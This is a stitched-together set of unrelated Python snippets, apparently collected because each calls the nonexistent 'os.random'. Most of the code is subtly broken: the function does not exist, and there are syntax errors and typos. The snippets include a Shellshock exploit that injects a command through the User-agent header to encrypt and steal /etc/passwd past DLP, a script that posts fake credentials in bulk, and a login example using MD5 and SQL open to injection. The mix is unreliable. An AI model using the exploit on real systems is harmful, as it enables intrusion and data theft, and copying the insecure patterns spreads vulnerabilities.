def __init__(self, player1): self.player1 = player1 self.player2 = none self.p1Score = 0 self.p2Score = 0 self.gameId = os.random() isFull = false
def randomTip(self): if self.driver.current_url not in self.chamber_url: self.driver.get(os.random(self.chamber_url)) try: self.__getXEP( "/html/body/div/div/main/div/div/div[3]/div/div[3]/div/div[2]/div[2]/div[3]/div[3]/div[5]/div/div/div[1]" ).click() try: self.__getXEP( "/html/body/div/div/main/div/div/div[3]/div/div[3]/div/div[2]/div[2]/div[3]/div[3]/div[5]/div/div[2]/div[2]/div/div/div/div[2]/div[2]/div[1]/button" ).click() except Exception: for i in range(0, 50): driver.find_element_by_xpath( "/html/body/div/div/main/div/div/div[3]/div/div[3]/div/div[2]/div[2]/div[3]/div[3]/div[5]/div/div[2]/div[2]/div/div/div/div[5]/input" ).send_keys(Keys.ARROW_RIGHT) except: pass self.__getXEP( "/html/body/div/div/main/div/div/div[3]/div/div[3]/div/div[2]/div[2]/div[3]/div[3]/div[5]/div/div[2]/div[2]/div/div/div/div[2]/div/div[2]/div[5]" ).click() try: self.__getXEC( "/html/body/div/div/main/div/div/div[3]/div/div[3]/div/div[2]/div[2]/div[3]/div[3]/div[5]/div/div[2]/div[2]/div/div/div/div[6]/div[2]/div/button" ).click() except: self.__getXEC( "/html/body/div/div/main/div/div/div[2]/div/div[1]/div/div[2]/div[2]/div[3]/div[2]/div[5]/div/div[2]/div[2]/div/div/div/div[4]/div[2]/div/button" ).click() except Exception as e: print(f"--- Error: {e}") pass
def exe(c): c.execute('SELECT COUNT(cookie) FROM peers WHERE onion=?',(onion,)) if c.fetchone()[0] == 0: cookie = base64.b64encode(os.random(128)) self.dbg('new cookie for %s : %s'%(onion,cookie)) return cookie c.execute('SELECT cookie FROM peers WHERE onion=?',(onion)) return c.fetchone()[0]
def encrypt(self, plaintext, nonce=None, encoder=RawEncoder): if nonce is None: nonce = random(self.NONCE_SIZE) if len(nonce) != self.NONCE_SIZE: raise ValueError( f'Nonce must be exactly {self.NONCE_SIZE} bytes long') ciphertext = self._crypto_box_afternm(plaintext, nonce, self._shared_key) encoded_nonce = encoder.encode(nonce) encoded_cipher = encoder.encode(ciphertext) return encoded_nonce + encoded_cipher
class MyApplication(Application): """configure our application""" defaults = { 'secret_key' : os.random(20), 'debug' : True, } # links = {} counter = 0 # of course we need some routes routes = [ URL("/", "index", IndexHandler), URL("/shortened", "shorten", ShortenHandler), URL("/<id>", "url", UrlHandler), ]
def ll_scan_timeout(self): if self.state.name is 'standby': self.ll_set_scan_prams(le_scan_interval=0x0010, le_scan_window=0x0010) # TODO: add command complete to upper HCI levels self.ll_set_scan_enable(True, None) # set scan timer if self.ll_scan_window_ms < self.ll_scan_interval_ms: scan_timer = LLTimer(name='scan_timer', seconds=self.ll_scan_interval_ms / 1000) self.scan_timer = scan_timer.timer # set adv channel self.channel = (os.random() % 3) + 37 while self.scan_timer: # Check if packet from advertised is received if self._pkt and BTLE_ADV in pkt and pkt.AdvA == self.advertiser_address.lower() and \ self.state.name is not 'connected': self.scan_timer.disable_timeout('scan_timer') self.slave_addr_type = self.pkt.TxAdd # search for dev_local_name here? print(self.advertiser_address.upper() + ': ' + pkt.summary()[7:] + ' Detected')
def serialize(self, priv=False): if self._crypto is None: # XXX: converting to public from private not supported without crypto libs if (priv is False and self._private is False) or (priv is True and self._private is True): if self._b64: return util.i2p_b64decode(self._raw) else: return self._raw else: raise NotImplemented() if priv and not self.has_private(): raise ValueError('No private key material in this Destination') data = bytes() if self.cert.type == CertificateType.KEY: encpub = self.enckey.get_pubkey() sigpub = self.sigkey.get_pubkey() enc_end = min(256, self.cert.enctype.pubkey_len) sig_start = max(256, 384 - self.cert.sigtype.pubkey_len) if len(self.padding) == 0: # Generate random padding pad_len = sig_start - enc_end self.padding = random(pad_len) data += encpub[:enc_end] data += self.padding data += sigpub[:384 - sig_start] data += self.cert.serialize() elif self.cert.type != CertificateType.MULTI: data += self.enckey.get_pubkey() data += self.sigkey.get_pubkey() data += self.cert.serialize() else: raise NotImplementedError('Multiple certs not yet supported') if priv: data += self.enckey.get_privkey() data += self.sigkey.get_privkey() self._log.debug('serialize len=%d' % len(data)) return data
def serialize(self, priv=False): if self._crypto is None: # XXX: converting to public from private not supported without crypto libs if (priv is False and self._private is False) or (priv is True and self._private is True): if self._b64: return util.i2p_b64decode(self._raw) else: return self._raw else: raise NotImplemented() if priv and not self.has_private(): raise ValueError('No private key material in this Destination') data = bytes() if self.cert.type == CertificateType.KEY: encpub = self.enckey.get_pubkey() sigpub = self.sigkey.get_pubkey() enc_end = min(256, self.cert.enctype.pubkey_len) sig_start = max(256, 384-self.cert.sigtype.pubkey_len) if len(self.padding) == 0: # Generate random padding pad_len = sig_start - enc_end self.padding = random(pad_len) data += encpub[:enc_end] data += self.padding data += sigpub[:384-sig_start] data += self.cert.serialize() elif self.cert.type != CertificateType.MULTI: data += self.enckey.get_pubkey() data += self.sigkey.get_pubkey() data += self.cert.serialize() else: raise NotImplementedError('Multiple certs not yet supported') if priv: data += self.enckey.get_privkey() data += self.sigkey.get_privkey() self._log.debug('serialize len=%d' % len(data)) return data
#!/usr/bin/env python # Bypass DLP by encrypting and saying it's a jpeg. # # credits: invisiblethreat import binascii import os import requests import subprocess import sys iv = binascii.b2a_hex(os.random(16)) kx = binascii.b2a_hex(os.random(16)) cmd = "/usr/bin/openssl aes-256-cbc -a -salt -iv " + iv + " -K " + kx + " \ -in /etc/passwd" headers = {'User-agent': '() { foo; }; \ echo Content-type:image/jpeg;echo ;echo;' + cmd} req = requests.get(sys.argv[1], headers=headers) cmd = ["/usr/bin/openssl", "aes-256-cbc", "-a", "-d", "-iv", iv, "-K", kx] proc = subprocess.Popen(cmd, stdin=subprocess.PIPE) proc.communicate(req.text.strip())
def generate(cls): """Generates a new, random key using a CSPRNG""" return cls(random(cls.SIZE))
def get_file_upload(self): try: if len(self.request.files) != 1: raise errors.InvalidInputFormat("cannot accept more than a file upload at once") ############################################################### # checks needed in order to offer compatibility with flow.js/fusty-flow.js chunk_size = len(self.request.files['file'][0]['body']) total_file_size = int(self.request.arguments['flowTotalSize'][0]) if 'flowTotalSize' in self.request.arguments else chunk_size flow_identifier = self.request.arguments['flowIdentifier'][0] if 'flowIdentifier' in self.request.arguments else os.random() if 'flowChunkNumber' in self.request.arguments and 'flowTotalChunks' in self.request.arguments: if self.request.arguments['flowChunkNumber'][0] != self.request.arguments['flowTotalChunks'][0]: return None ############################################################### if ((chunk_size / (1024 * 1024)) > GLSettings.memory_copy.maximum_filesize or (total_file_size / (1024 * 1024)) > GLSettings.memory_copy.maximum_filesize): log.err("File upload request rejected: file too big") raise errors.FileTooBig(GLSettings.memory_copy.maximum_filesize) if flow_identifier not in GLUploads: f = GLSecureTemporaryFile(GLSettings.tmp_upload_path) GLUploads[flow_identifier] = f else: f = GLUploads[flow_identifier] f.write(self.request.files['file'][0]['body']) uploaded_file = {} uploaded_file['filename'] = self.request.files['file'][0]['filename'] uploaded_file['content_type'] = self.request.files['file'][0]['content_type'] uploaded_file['body_len'] = total_file_size uploaded_file['body_filepath'] = f.filepath uploaded_file['body'] = f upload_time = time.time() - f.creation_date # file uploads works on chunk basis so that we count 1 the file upload # as a whole in function get_file_upload() for event in outcoming_event_monitored: if event['status_checker'](self._status_code) and \ event['method'] == self.request.method and \ event['handler_check'](self.request.uri): EventTrack(event, upload_time) return uploaded_file except errors.FileTooBig: raise # propagate the exception except Exception as exc: log.err("Error while handling file upload %s" % exc) return None
import os os.random(24) app.SECRET_KEY = 'secret'
import hashlib import os users = {} username = '******' password = '******' salt = os.random(32) key = hashlib.pbkdf2_hmac('sha256', password.encode('utf-8'), salt, 100000) users[username] = { 'salt': salt, 'key': key } #Verification attempt 1 (incorrect password) username = '******' password = '******' salt = users[username]['salt'] key = users[username]['key'] new_key = hashlib.pbkdf2_hmac('sha256', password.encode('utf-8'), salt, 100000) assert key != new_key #Verification attempt 2 (correct password) username = '******' password = '******' salt = users[username]['salt'] key = users[username]['key']
def generate_random_token(): """Generates a random CSRF token""" return hashlib.sha256(os.random(16)).hexdigest()
def generate_new_binary(bit_length): string = "" bits = random(bit_length) for byte in bits: string += str(int(byte % 2)) return string
import requests import os import random import string import json chars = string.ascii_letters + string.digits + '!@#$S%^&*()' random.seed = (os.random(1024) #request URL url = 'insert_scammer_url' names = json.loads(open('names.json').read()) for name in names: name_number = ''.join(random.choice(string.digits)) username = name.lower() + name_extra + '@hotmail.com' password = ''.join(random.choice(chars) for i in range(9)) requests.post(url, allow_redirets=False, data={ #these values are retrieved from browser console, look for FORM DATA 'some_id': some_name, 'some_other_id': some_other_name })
import os my_secret_key = os.random(24)
import random import os from random import getrandbits os.random() random.random() # Noncompliant random.getrandbits(1) # Noncompliant random.randint(0,9) # Noncompliant random.sample(['a', 'b'], 1) # Noncompliant random.choice(['a', 'b']) # Noncompliant random.choices(['a', 'b']) # Noncompliant random.choice(['a', 'b'])() # Noncompliant getrandbits getrandbits() # Noncompliant randint() # not imported, should not be resolved to random.randint # Note: random.SystemRandom() is safe sysrand = random.SystemRandom() sysrand.getrandbits(1) sysrand.randint(0,9) sysrand.random()
user = mysql.fetch(query) #do the neccessary logic to login if the user exists, otherwise redirect to login page with error message #GENERATING A SALT import os, binascii #include this at the top of your file salt = binascii.b2a_hex(os.urandom(15)) #os.urandom() returns a string of bytes with equal to the #parameter its given. --> b2a_hex() is a function that will return the value returned from the openssl function #into a normal alphanumeric #EX username = request.form['username'] email = request.form['email'] password = request.form['password'] salt = binascii.b2a_hex(os.random(15)) encrypted_pw = md5.new(password + salt).hexdigest() query = "INSERT INTO users (username, email, password, salt, created_at, updated_at) VALUES ('{}', '{}', '{}', '{}', NOW(), NOW())".format(username, email, encrypted_pw, salt) mysql.run_my_sql(query) ## when trying to authenticate a user's login---> email = request.form['email'] password = request.form['password'] user_query = "SELECT * FROM users WHERE users.email = '{}' LIMIT 1".format(email) user = mysql.fetch(user_query) if user[0]: encrypted_password = md5.new(password + $user[0]['salt']).hexdigest(); if $user['password'] == encrypted_password: #this means we have a successful login
def packet_handling(csock, addr): while True: try: # read, write, err = \ # select.select([csock,], [csock,], [], 5) # print read, write, err # except select.error: # csock.shutdown(2) # csock.close() # for client in CONNECTION_LIST: # if client[1] == addr: # print client[0] + " disconnected" # CONNECTION_LIST.remove(client) # return # try: # if fail and CONN_AVAI == True: # csock.close() # for client in CONNECTION_LIST: # if client[1] == addr: # print client[0] + " disconnected" # CONNECTION_LIST.remove(client) # return data = csock.recv(1000000) # check if the connection is lost!!! if data == '': csock.close() for client in CONNECTION_LIST: if client[1] == addr: print client[0] + " disconnected!!!" CONNECTION_LIST.remove(client) return if len(data) != 0: data = json.loads(data) # REQUEST is a SIGN-IN packet if data[0] == "signin": VALID = True uname = data[1] udp_port = data[2] for client in CONNECTION_LIST: if client[0] == uname: VALID = False break # check if username is already used if VALID == True: CONNECTION_LIST.append((uname, addr, udp_port)) CONN_AVAI = True print('%s is now connected' %uname) else: csock.sendall(json.dumps(["error"])) elif data[0] == "LIST_RQT": #session_key session_key = "" #TODO need to finalize the way to retrieve Session key for particular client # REQUEST is a LIST packet encrypted_tag_iv_auth = data[2] client_nonce = data[3] tag,iv,auth = decryptTagIvAuth(encrypted_tag_iv_auth,s_private_key) decrypted_message = decrypt_with_shared_key(session_key,iv,tag,data[1],auth) reply = json.dumps([client_nonce,server_nonce]) encrypted_reply,new_tag = encrypt_with_shared_key(session_key,iv,reply,auth) mes = json.dumps(["LIST_CHAL_RQT",encrypted_reply,new_tag]) #Tag goes unencrypted here csock.sendall(mes) elif data[0] == "LIST_CHAL_RES": #session_key session_key = "" #TODO need to finalize the way to retrieve Session key for particular client # REQUEST is a LIST packet encrypted_tag_iv_auth = data[2] client_nonce = data[3] tag,iv,auth = decryptTagIvAuth(encrypted_tag_iv_auth,s_private_key) decrypted_message = decrypt_with_shared_key(session_key,iv,tag,data[1],auth) received_nonce = decrypted_message[0] if received_nonce == server_nonce: reply = [] for client in CONNECTION_LIST: reply.append(client[0]) reply = json.dumps(reply) encrypted_reply,new_tag = encrypt_with_shared_key(session_key,iv,reply,auth) mes = json.dumps(["LIST_RES",encrypted_reply,new_tag]) #Tag goes unencrypted here csock.sendall(mes) else: csock.sendall(json.dumps(["AUTH_ERR"])) elif data[0] == "TK_RQT": #session_key session_key = "" #TODO need to finalize the way to retrieve Session key for particular client # REQUEST is a LIST packet encrypted_tag_iv_auth = data[2] client_nonce = data[3] tag,iv,auth = decryptTagIvAuth(encrypted_tag_iv_auth,s_private_key) decrypted_message = decrypt_with_shared_key(session_key,iv,tag,data[1],auth) requesting_client_uname = decrypted_message[0] second_client_uname = decrypted_message[1] requesting_client_nonce = decrypted_message[2] second_client_nonce = decrypted_message[3] #Confirming that the requesting client encrypted nonce matches the nonce sent in the request. if client_nonce == requesting_client_nonce: #shared key for client 1 and client 2 shared_client_key = os.random(16) #TODO Need to figure how to get the session key for client B, need to figure how to get tag, iv, auth for client B second_client_session_key = "" ticket_data = [requesting_client_uname, shared_client_key, second_client_nonce] ticket_to_second,sec_tag = encrypt_with_shared_key(second_client_session_key,iv,ticket_data,auth) #Encrypt the iv auth sec_tag, tag using the CTR Mode of encryption using the nonce of second client iv_tag_auth_dump = json.dumps([sec_tag,iv,auth]) encrypted_iv_tag_auth_data = encrypt_CTR_with_shared_key(second_client_session_key,iv_tag_auth_dump,second_client_nonce) #Message integrity using hmac h_mac = get_hmac_from_shared_key(second_client_session_key, iv_tag_auth_dump) authenticate_data = [requesting_client_uname,second_client_uname, requesting_client_nonce,second_client_nonce, shared_client_key, ticket_to_second ,encrypted_iv_tag_auth_data , hmac] encrypted_reply,new_tag = encrypt_with_shared_key(session_key, iv,authenticate_data, auth) mes = json.dumps(["TK_RES",encrypted_reply,new_tag]) #Tag goes unencrypted here csock.sendall(mes) else: csock.sendall(json.dumps(["AUTH_ERR"])) # REQUEST is a QUERY packet elif decrypted_message == "query": reply=json.dumps(["query", CONNECTION_LIST]) csock.sendall(reply) except Exception as x: print "There is something wrong, resuming"
elif decrypted_message == "query": reply=json.dumps(["query", CONNECTION_LIST]) csock.sendall(reply) except Exception as x: print "There is something wrong, resuming" if __name__ == "__main__": CONNECTION_LIST=[] sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) parser = argparse.ArgumentParser() parser.add_argument("-sp", "--port", type=int, default = "5550", help="specify the server port") args = parser.parse_args() server_nonce = os.random(16) #TODO need to decide from where to populate the server private key s_private_key = "" if args.port: # sock.bind('', args.sp) sock.bind(('0.0.0.0', args.port)) sock.listen(5) print("Server Initialized...") print('Chat server started on port : ' + str(args.port)) while True: cli_sock, addr = sock.accept() print "Connected to ", addr
def generate_new_key(length): string = "" bits = random(length) for byte in bits: string += str(int(byte % 2)) return string
import os key = os.random(25) print(key)